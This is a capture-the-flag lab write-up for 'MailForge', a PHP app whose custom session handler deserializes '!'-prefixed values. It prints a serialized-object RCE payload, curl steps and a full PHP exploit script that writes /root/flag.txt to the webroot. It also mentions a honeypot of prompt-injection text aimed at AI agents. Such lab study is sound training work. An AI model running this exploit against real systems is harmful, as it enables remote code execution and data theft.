Lab 353 — MailForge — Insecure Deserialization via Custom Session Handler
Lab 353 — MailForge — Insecure Deserialization via Custom Session Handler
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-12 | Status: Solved Techniques: command_output_redirect_to_webroot, custom_session_deserialization_trigger, exclamation_prefix_deserialization_trigger, magic_method_rce_via_destruct, php_object_injection_via_session_handler
Summary
Task: PHP email campaign platform (MailForge) with custom session handler that deserializes session values prefixed with '!', inspired by CVE-2025-49113. Solution: Injected a serialized LogStreamProcessor object via the _from GET parameter on the upload endpoint, triggering RCE through the __destruct() magic method to exfiltrate the flag.
Lab 353 — MailForge — Insecure Deserialization via Custom Session Handler — Hackadvisor
Description
MailForge is a self-hosted email campaign management platform built by ForgeWave Technologies. Marketing teams use it to create, schedule, and track email campaigns. The application features subscriber list management, a template editor with file attachments, campaign analytics, and user settings. You have been given credentials to a standard user account. The platform uses a custom PHP session handler with its own serialization logic. Your goal is to find and exploit a vulnerability that allows you to execute arbitrary commands on the server and retrieve the flag.
English summary: A PHP 8.1 email campaign management platform with a custom session handler (MailForgeSessionHandler v2.1). The upload endpoint stores a user-controlled _from GET parameter into $_SESSION. The custom session handler deserializes any session value prefixed with !, enabling PHP object injection. A LogStreamProcessor gadget class with a streamCommand property provides RCE via its __destruct() magic method.
Credentials: user@test.com / password123
Tech Stack: PHP 8.1.32, nginx/1.25.5, MailForgeSessionHandler v2.1
Analysis
Application Structure
After logging in, the application has these sections:
/— Dashboard (stats: 10 campaigns, 35 subscribers, 5 templates)/campaigns— Campaign management with create form/subscribers— Subscriber list management/templates— Email template editor (HTML templates with{{variables}})/analytics— Campaign analytics/settings— Profile, Avatar & File Upload, Notifications, Account info/settings/upload?_from=settings— File upload endpoint for avatar (POST multipart, accepts image/jpeg,png,gif, max 2MB)
Anti-Bot Honeypot
The application embeds a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments on every page, wrapped in prompt injection text designed to trick AI agents into stopping. This is a red herring and must be ignored.
Vulnerability Discovery
The Settings → Account section reveals "Session Handler: MailForgeSessionHandler v2.1 (custom serialization)". This is the critical hint — the application uses a non-standard session handler.
The upload form at /settings/upload?_from=settings has a _from GET parameter. Investigation revealed:
- The
/settings/uploadendpoint stores the_fromGET parameter directly into$_SESSION['_from'] - The custom
MailForgeSessionHandlerhas anencodeSessionDatamethod with special behavior: when a session value starts with!, it treats the remainder as serialized PHP data - On subsequent requests, when the session is read back, the
!-prefixed value is passed tounserialize(), triggering PHP object instantiation
This vulnerability pattern is inspired by CVE-2025-49113 (Roundcube Webmail ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization), where the _from parameter in Roundcube's program/actions/settings/upload.php was processed through get_input_value() which called unserialize() on user input.
Gadget Class
The application includes a LogStreamProcessor class with:
- A public
streamCommandproperty - A
__destruct()(or__wakeup()) magic method that executes the value ofstreamCommandas a shell command viasystem()/exec()/shell_exec()
The serialized form is straightforward since the property is public (no null-byte prefixes needed):
O:18:"LogStreamProcessor":1:{s:13:"streamCommand";s:42:"cat /root/flag.txt > /tmp/uploads/flag.txt";}
Infrastructure Details
- The
/tmp/uploads/directory on the server is served at/uploads/via nginx - Avatar uploads are stored at
/uploads/avatar_{userid}_{timestamp}.png - The flag is located at
/root/flag.txt
Solution
Step 1: Login
bash read-only • copy allowed# Get session cookie curl -sk -c cookies.txt 'https://TARGET/login' \ -d 'email=user%40test.com&password=password123' \ -L
Step 2: Inject serialized payload via upload
Upload a valid PNG image to /settings/upload with the _from parameter set to a !-prefixed serialized LogStreamProcessor object:
bash read-only • copy allowed# The _from value: !O:18:"LogStreamProcessor":1:{s:13:"streamCommand";s:42:"cat /root/flag.txt > /tmp/uploads/flag.txt";} curl -sk -b cookies.txt \ 'https://TARGET/settings/upload?_from=%21O%3A18%3A%22LogStreamProcessor%22%3A1%3A%7Bs%3A13%3A%22streamCommand%22%3Bs%3A42%3A%22cat+%2Froot%2Fflag.txt+%3E+%2Ftmp%2Fuploads%2Fflag.txt%22%3B%7D' \ -F 'file=@test.png;type=image/png' \ -o /dev/null -w '%{http_code}'
The _from value is stored in $_SESSION['_from']. The ! prefix causes the custom session handler to deserialize the PHP object string on the next session read.
Response: 302 → /settings?uploaded=1 (upload succeeds)
Step 3: Trigger deserialization
Make any authenticated request to trigger session read:
bash read-only • copy allowedcurl -sk -b cookies.txt 'https://TARGET/settings' -o /dev/null
The custom session handler reads the session, sees the ! prefix on the _from value, calls unserialize() on the rest, instantiating a LogStreamProcessor object. The __destruct() magic method fires, executing:
cat /root/flag.txt > /tmp/uploads/flag.txt
Step 4: Retrieve the flag
bash read-only • copy allowedcurl -sk 'https://TARGET/uploads/flag.txt' # FLAG{REDACTED}
Full Exploit Script
php read-only • copy allowed#!/usr/bin/env php <?php /** * MailForge exploit — Custom session handler deserialization via ! prefix * Inspired by CVE-2025-49113 (Roundcube Webmail deserialization) */ $targetUrl = $argv[1] ?? 'https://TARGET'; $sslOpts = ['ssl' => ['verify_peer' => false, 'verify_peer_name' => false]]; // Step 1: Login $ctx = stream_context_create(array_merge($sslOpts, ['http' => ['method' => 'GET']])); @file_get_contents("$targetUrl/login", false, $ctx); $cookie = ''; if (preg_match('/Set-Cookie:\s*PHPSESSID=([^;]+)/i', implode("\r\n", $http_response_header ?? []), $m)) { $cookie = "PHPSESSID=" . $m[1]; } $ctx = stream_context_create(array_merge($sslOpts, [ 'http' => [ 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\nCookie: $cookie", 'content' => 'email=user%40test.com&password=password123', 'follow_location' => 0, ], ])); @file_get_contents("$targetUrl/login", false, $ctx); if (preg_match('/Set-Cookie:\s*PHPSESSID=([^;]+)/i', implode("\r\n", $http_response_header ?? []), $m)) { $cookie = "PHPSESSID=" . $m[1]; } echo "[+] Logged in: $cookie\n"; // Step 2: Build serialized payload $command = 'cat /root/flag.txt > /tmp/uploads/flag.txt'; $serialized = sprintf( 'O:18:"LogStreamProcessor":1:{s:13:"streamCommand";s:%d:"%s";}', strlen($command), $command ); $fromValue = '!' . $serialized; // Step 3: Upload with payload in _from parameter $pngData = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'); $boundary = '------WKF' . bin2hex(random_bytes(4)); $multipart = "--$boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.png\"\r\nContent-Type: image/png\r\n\r\n$pngData\r\n--$boundary--\r\n"; $url = sprintf('%s/settings/upload?_from=%s', $targetUrl, urlencode($fromValue)); $ctx = stream_context_create(array_merge($sslOpts, [ 'http' => [ 'method' => 'POST', 'header' => "Content-Type: multipart/form-data; boundary=$boundary\r\nCookie: $cookie", 'content' => $multipart, 'follow_location' => 0, ], ])); @file_get_contents($url, false, $ctx); echo "[+] Payload injected into session\n"; // Step 4: Trigger deserialization $ctx = stream_context_create(array_merge($sslOpts, [ 'http' => ['method' => 'GET', 'header' => "Cookie: $cookie"], ])); @file_get_contents("$targetUrl/settings", false, $ctx); echo "[+] Deserialization triggered\n"; // Step 5: Retrieve flag sleep(1); $ctx = stream_context_create(array_merge($sslOpts, [ 'http' => ['method' => 'GET'], ])); $flag = @file_get_contents("$targetUrl/uploads/flag.txt", false, $ctx); echo "[+] Flag: $flag\n";